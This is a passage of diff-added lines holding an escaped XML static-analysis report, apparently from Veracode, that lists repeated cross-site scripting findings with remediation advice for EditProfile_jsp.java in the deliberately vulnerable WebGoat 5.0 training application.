+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
